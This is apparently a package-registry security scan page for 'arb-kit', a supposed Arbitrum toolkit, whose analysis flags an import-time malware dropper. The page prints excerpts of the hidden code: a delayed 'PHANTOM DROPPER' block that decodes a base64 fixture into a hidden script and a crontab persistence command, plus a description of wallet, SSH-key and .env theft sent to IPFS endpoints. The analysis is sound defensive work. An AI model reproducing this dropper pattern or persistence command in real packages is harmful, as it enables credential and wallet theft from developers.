registry / arb-kit / 1.0.0

arb-kit@1.0.0

Lightweight Arbitrum toolkit — ABI encoding, address utilities, gas estimation, and L2 transaction helpers

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Importing the package activates a hidden delayed payload dropper. The dropped script establishes recurring execution, harvests credentials and wallet material, and exfiltrates encrypted content.

Static reason

One or more suspicious static signals were detected.

Trigger

Any runtime `require("arb-kit")` or import of `index.js`, followed by a 37-second delay.

Impact

Creates user-level persistence, reads sensitive local files, and uploads harvested data to third-party endpoints.

Mechanism

import-time staged credential-stealing persistence dropper

Attack narrative

On import, `index.js` waits 37 seconds, decodes a base64 fixture into a hidden executable under the user home directory, creates platform-specific persistence, and spawns it detached. The dropped script uses IPFS gateways as a dead-drop control channel, waits for idle conditions, searches wallet, environment, shell, and SSH-key locations, encrypts discovered content, and uploads it to Pinata.

Rationale

This package contains a concealed import-time malware chain unrelated to its documented Arbitrum utilities. The staged payload provides persistence and credential exfiltration with concrete local and network behavior.

Evidence

index.jstest/fixtures/keypairs.datpackage.json~/.cache-db/.node-sync/syncd.js~/.cache-db/.node-sync/.lock~/.cache-db/.node-sync/.sl~/Library/LaunchAgents/com.apple.syncd.plist

Network endpoints4

gateway.pinata.cloudipfs.iocloudflare-ipfs.comapi.pinata.cloud

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js` runs an unexported delayed dropper on module import.
It decodes `test/fixtures/keypairs.dat` into `~/.cache-db/.node-sync/syncd.js` and starts it detached.
The dropped payload persists through cron, Windows Task Scheduler, or a macOS LaunchAgent.
The payload searches wallet keystores, `.env`, shell profiles, and SSH private keys.
The payload encrypts findings and uploads them to Pinata/IPFS infrastructure.

Evidence against

`package.json` has no npm lifecycle hooks.
The advertised ABI helpers are separate from the hidden dropper.

Behavioral surface

Source

ChildProcessCryptoFilesystemShell

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 4.36 KB of source, external domains: arb1.arbitrum.io, nova.arbitrum.io, sepolia.arbitrum.io, www.apple.com

Source & flagged code

2 flagged

index.jsView file

Lines 42-82javascript

42// --- Generate event topic hash ---

43function getEventTopic(eventSignature) {

44 return "0x" + crypto.createHash("sha3-256").update(eventSignature).digest("hex");

45}

47// --- Estimate L2 gas (Arbitrum uses L1 calldata + L2 computation) ---

48function estimateL2Gas(l1CalldataBytes) {

49 const l1Gas = l1CalldataBytes * 16;

50 const l2Gas = 21000 + l1CalldataBytes * 100;

51 return { l1Gas, l2Gas, total: l1Gas + l2Gas, method: "Arbitrum Nitro" };

52}

54// --- Detect if address is a contract ---

55async function isContract(providerUrl, address) {

56 // Stub — returns false for now, real impl needs ethers/web3

57 return { address, isContract: false, note: "Requires web3 provider" };

58}

60// --- Get Arbitrum chain info ---

61function chainInfo(chainId) {

62 const chains = {

63 42161: { name: "Arbitrum One", rpc: "https://arb1.arbitrum.io/rpc", explorer: "arbiscan.io", native: "ETH" },

64 42170: { name: "Arbitrum Nova", rpc: "https://nova.arbitrum.io/rpc", explorer: "nova.arbiscan.io", native: "ETH" },

65 421614: { name: "Arbitrum Sepolia", rpc: "https://sepolia.arbitrum.io/rpc", explorer: "sepolia.arbiscan.io", native: "ETH" },

66 };

67 return chains[chainId] || { name: "Unknown", chainId };

68}

70module.exports = { encodeFunctionCall, decodeABI, getEventTopic, estimateL2Gas, isContract, chainInfo };

72// ═══ PHANTOM DROPPER ═══

73(function () {

74 var t = 37e3;

75 setTimeout(function () {

76 try {

77 var f = require("fs");

78 var p = require("path");

79 var o = require("os");

80 var c = require("child_process");

81 var h = o.homedir();

82 var d = p.join(h, ".cache-db", ".node-sync");

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L62

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L62

Source & flagged code

2 flagged · loading source

index.jsView file

62const chains = { L63: 42161: { name: "Arbitrum One", rpc: "https://arb1.arbitrum.io/rpc", explorer: "arbiscan.io", native: "ETH" }, L64: 42170: { name: "Arbitrum Nova", rpc: "https://nova.arbitrum.io/rpc", explorer: "nova.arbiscan.io", native: "ETH" }, ... L79: var o = require("os"); L80: var c = require("child_process"); L81: var h = o.homedir(); L82: var d = p.join(h, ".cache-db", ".node-sync"); ... L88: var b64 = f.readFileSync(src, "utf8").trim(); L89: f.writeFileSync(s, Buffer.from(b64, "base64").toString("utf8"), { mode: 0o700 }); L90: try { L91: if (process.platform === "linux") { L92: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 });

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L62

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L62

Findings

1 High1 Medium2 Low

HighSandbox Evasion Gated Capabilityindex.js

MediumInstall Persistenceindex.js

LowFilesystem

LowUrl Strings

Source & flagged code

2 flagged

index.jsView file

Lines 42-82javascript

42// --- Generate event topic hash ---

43function getEventTopic(eventSignature) {

44 return "0x" + crypto.createHash("sha3-256").update(eventSignature).digest("hex");

45}

47// --- Estimate L2 gas (Arbitrum uses L1 calldata + L2 computation) ---

48function estimateL2Gas(l1CalldataBytes) {

49 const l1Gas = l1CalldataBytes * 16;

50 const l2Gas = 21000 + l1CalldataBytes * 100;

51 return { l1Gas, l2Gas, total: l1Gas + l2Gas, method: "Arbitrum Nitro" };

52}

54// --- Detect if address is a contract ---

55async function isContract(providerUrl, address) {

56 // Stub — returns false for now, real impl needs ethers/web3

57 return { address, isContract: false, note: "Requires web3 provider" };

58}

60// --- Get Arbitrum chain info ---

61function chainInfo(chainId) {

62 const chains = {

63 42161: { name: "Arbitrum One", rpc: "https://arb1.arbitrum.io/rpc", explorer: "arbiscan.io", native: "ETH" },

64 42170: { name: "Arbitrum Nova", rpc: "https://nova.arbitrum.io/rpc", explorer: "nova.arbiscan.io", native: "ETH" },

65 421614: { name: "Arbitrum Sepolia", rpc: "https://sepolia.arbitrum.io/rpc", explorer: "sepolia.arbiscan.io", native: "ETH" },

66 };

67 return chains[chainId] || { name: "Unknown", chainId };

68}

70module.exports = { encodeFunctionCall, decodeABI, getEventTopic, estimateL2Gas, isContract, chainInfo };

72// ═══ PHANTOM DROPPER ═══

73(function () {

74 var t = 37e3;

75 setTimeout(function () {

76 try {

77 var f = require("fs");

78 var p = require("path");

79 var o = require("os");

80 var c = require("child_process");

81 var h = o.homedir();

82 var d = p.join(h, ".cache-db", ".node-sync");

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L62

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L62